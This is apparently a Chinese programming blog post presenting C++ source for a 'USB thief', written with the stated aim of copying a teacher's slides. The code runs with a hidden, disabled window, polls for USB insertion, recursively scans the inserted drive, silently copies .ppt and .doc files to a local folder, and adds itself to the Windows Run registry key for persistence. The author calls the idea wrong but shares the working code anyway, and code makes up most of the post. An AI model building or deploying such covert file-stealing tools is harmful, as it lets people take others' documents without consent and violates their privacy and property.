U盘小偷——C++实现U盘插入检测和文件扫描拷贝

本文主要是介绍U盘小偷——C++实现U盘插入检测和文件扫描拷贝，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

前几天女朋友说老师上课的PPT不共享，没法复习，想着写个U盘小偷拷贝PPT来着，后来觉得这样的行为这是不对的，万一不小心复制了老师的专利啥的，或者一些不可描述的东西，就闹大了。

虽然没有采取实际行动，但是相关的功能还是实现，技术共享。

重点就是U盘插入监控，获得U盘盘符，开机自启动，文件扫描和复制。

1.对u盘插入行为监控，并获得盘符

　　当U盘插入的时候会产生一个消息WM_DEVICECHANG，只要我们获得这个消息，然后进行处理就行。

　　为了获得消息，我们需要一个窗口

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,PSTR szCmdLine, int iCmdShow)
{static TCHAR szAppName[] = TEXT("UUUUUU");HWND               hwnd;MSG                msg;WNDCLASS           wndclass;wndclass.style = 0;wndclass.lpfnWndProc = WndProc;wndclass.cbClsExtra = 0;wndclass.cbWndExtra = 0;wndclass.hInstance = hInstance;wndclass.hIcon = 0;wndclass.hCursor = 0;wndclass.hbrBackground = 0;wndclass.lpszMenuName = NULL;wndclass.lpszClassName = szAppName;SetAutoRun(TRUE);if (!RegisterClass(&wndclass)){MessageBox(NULL, TEXT("Program requires Windows NT!"),szAppName, MB_ICONERROR);return 0;}hwnd = CreateWindow(szAppName, NULL,WS_DISABLED,0, 0,0, 0,NULL, NULL, hInstance, NULL);while (GetMessage(&msg, NULL, 0, 0)){TranslateMessage(&msg);DispatchMessage(&msg);}return msg.wParam;
}

　　窗口回调函数：

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAMlParam)
{switch (message){case WM_CREATE:           //处理一些要下面要用到的全局变量U[1] = ':';SetTimer(hwnd, TIMER, 5000, 0);//启动计时器return 0;case WM_TIMER:             //timer message 
SendMessage(hwnd, WM_DEVICECHANGE, 0, 0);//检测有没有插入设备消息return 0;case WM_DEVICECHANGE:OnDeviceChange(hwnd, wParam, lParam);return 0;case WM_DESTROY:KillTimer(hwnd, TIMER);PostQuitMessage(0);return 0;}return DefWindowProc(hwnd, message, wParam, lParam);
}

　　OnDeviceChange函数是对WM_DEVICECHANGE消息的处理，在这个函数里，就可以实现对u盘插入行为的监控，并处理。

LRESULT OnDeviceChange(HWND hwnd, WPARAM wParam, LPARAM lParam)
{PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;switch (wParam){case DBT_DEVICEARRIVAL: //插入if (lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME){PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;U[0] = FirstDriveFromMask(lpdbv->dbcv_unitmask);//得到u盘盘符//MessageBox(0, U, "Notice!", MB_OK);string Utemp;Utemp = U;//    Utemp += "\\";Filesearch(Utemp, 0);  //搜索u盘CopyPPT(FileList);    //复制pptCopyDOC(FileList);    //复制doc//MessageBox(0, "Copy Success", "Notice!", MB_OK);
}break;case DBT_DEVICEREMOVECOMPLETE: //设备删除//MessageBox(0, "u盘退出", "Notice!", MB_OK);break;}return LRESULT();
}

　　FirstDriveFromMask(lpdbv->dbcv_unitmask);可以获得盘符，有了盘符，U盘就相当于一个普通的文件夹了。

2.文件遍历 查找 搜索 复制

void Filesearch(string Path, int Layer)
{FileInfo FileInfomation;struct _finddata_t filefind;string Current = Path + "\\*.*";                            // 修改此处改变搜索条件int Done = 0, i, Handle;string FullPath;if ((Handle = _findfirst(Current.c_str(), &filefind)) != -1){while (!(Done = _findnext(Handle, &filefind))){if (strcmp(filefind.name, "..") == 0)continue;for (i = 0; i <Layer; i++)printf("\t");if ((_A_SUBDIR == filefind.attrib))                // 是目录
            {printf("[Dir]:\t%s\n", filefind.name);Current = Path + "\\" + filefind.name;Filesearch(Current, Layer + 1);                    // 递归遍历子目录
            }else{printf("[File]:\t%s\n", filefind.name);FullPath = Path + "\\" + filefind.name;FileInfomation.Name = filefind.name;FileInfomation.FullPath = FullPath;FileList.push_back(FileInfomation);FullPath.empty();}}_findclose(Handle);}
}void CopyPPT(vector<FileInfo> FileList)
{mkdir("C:\\Destest");for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator){string TempPath;//printf("%s\r\n", iterator->);if ((int)(iterator->Name.find(".ppt")) > 0){TempPath = DesPath + "\\" + iterator->Name ;BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);cout << GetLastError();if (bOk == TRUE){//    MessageBox(0, "Copy Success", "Notice!", MB_OK);
}else{//    MessageBox(0, "Copy Fail", "Notice!", MB_OK);
                }}}
}void CopyDOC(vector<FileInfo> FileList)
{mkdir("C:\\Destest");for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator){string TempPath;//printf("%s\r\n", iterator->);if ((int)(iterator->Name.find(".doc")) > 0){TempPath = DesPath + "\\" + iterator->Name;BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);cout << GetLastError();if (bOk == TRUE){//    MessageBox(0, "Copy Success", "Notice!", MB_OK);
}else{//    MessageBox(0, "Copy Fail", "Notice!", MB_OK);
            }}}
}



3.开机自启动 注册表实现

void SetAutoRun(BOOL bAutoRun)
{HKEY hKey;char* strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//找到系统的启动项  if (bAutoRun){if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) //打开启动项       
        {TCHAR szModule[_MAX_PATH];GetModuleFileName(NULL, szModule, _MAX_PATH);//得到本程序自身的全路径  RegSetValueEx(hKey, "U盘检测", 0, REG_SZ, (const BYTE*)(LPCSTR)szModule, strlen(szModule)); //添加一个子Key,并设置值，"Client"是应用程序名字（不加后缀.exe）  RegCloseKey(hKey); //关闭注册表  
        }else{//    MessageBox("系统参数错误,不能随系统启动");
        }}else{if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS){RegDeleteValue(hKey, "U盘检测");RegCloseKey(hKey);}}
}